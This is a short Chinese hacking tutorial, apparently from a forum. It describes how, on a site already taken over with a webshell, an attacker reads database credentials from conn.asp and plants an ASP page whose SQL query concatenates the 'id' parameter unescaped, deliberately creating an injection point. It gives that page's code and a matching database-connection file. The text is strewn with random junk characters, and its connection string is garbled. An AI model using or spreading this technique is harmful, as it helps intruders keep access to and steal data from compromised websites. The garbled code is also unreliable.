首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:1 z# \) T7 V. s A9 L. G8 v: l2 a
ASP/Visual Basic代码
/ y, M$ C& E7 ^2 f3 S<!--#include file="xx.asp"-->
% U/ ^( d5 z' Z7 Q<% 5 s1 G) \* M0 b& Z* i
set rs=server.createobject("ADODB.recordset") ) @) C# ?. P) G9 b6 W0 }) \" V
id = request("id")
! H3 Z& k" y* `1 nstrSQL = "select * from admin where id=" & id " F2 \! w* J/ u5 b$ v. A
rs.open strSQL,conn,1,3 ; z9 j+ ~* ^4 M2 i2 W! n
rs.close 3 a) h. ~1 B* @0 y# e9 w
%> 7 M4 l4 A5 k% Q: P$ J9 ]
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!1 |) F1 |" }8 |; a/ j* ?5 ]$ ^
然后就要构造一个连接数据库的文件了,代码如下:: D* ]# c0 u, A
ASP/Visual Basic代码, G8 I# }3 G! q3 _6 @* m
<% ' }5 c' a! {' r2 _2 K
strSQLServerName = "000.000.000.000" '服务器名称或地址 E* J3 D7 G6 y0 X8 u; f# b3 A
strSQLDBUserName = "sqlname" '数据库帐号 + S$ {5 T5 _2 W6 t L" t6 k
strSQLDBPassword = "sqlpass" '数据库密码 . P) k- i/ R, d3 F/ k
strSQLDBName = "sqldataname" '数据库名称
9 P* ~# N" ?! S: K# @Set conn = Server.CreateObject("ADODB.Connection")
$ a$ \% H0 k* b6 gstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
# v6 |' ^2 f& H0 b* I- j8 _0 c- `conn.open strCon
) [/ y$ D1 m% X, n# q%> ) k# |3 f' U! u* w
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功6 C& v$ U+ H& Y4 v, }- V' c6 `
|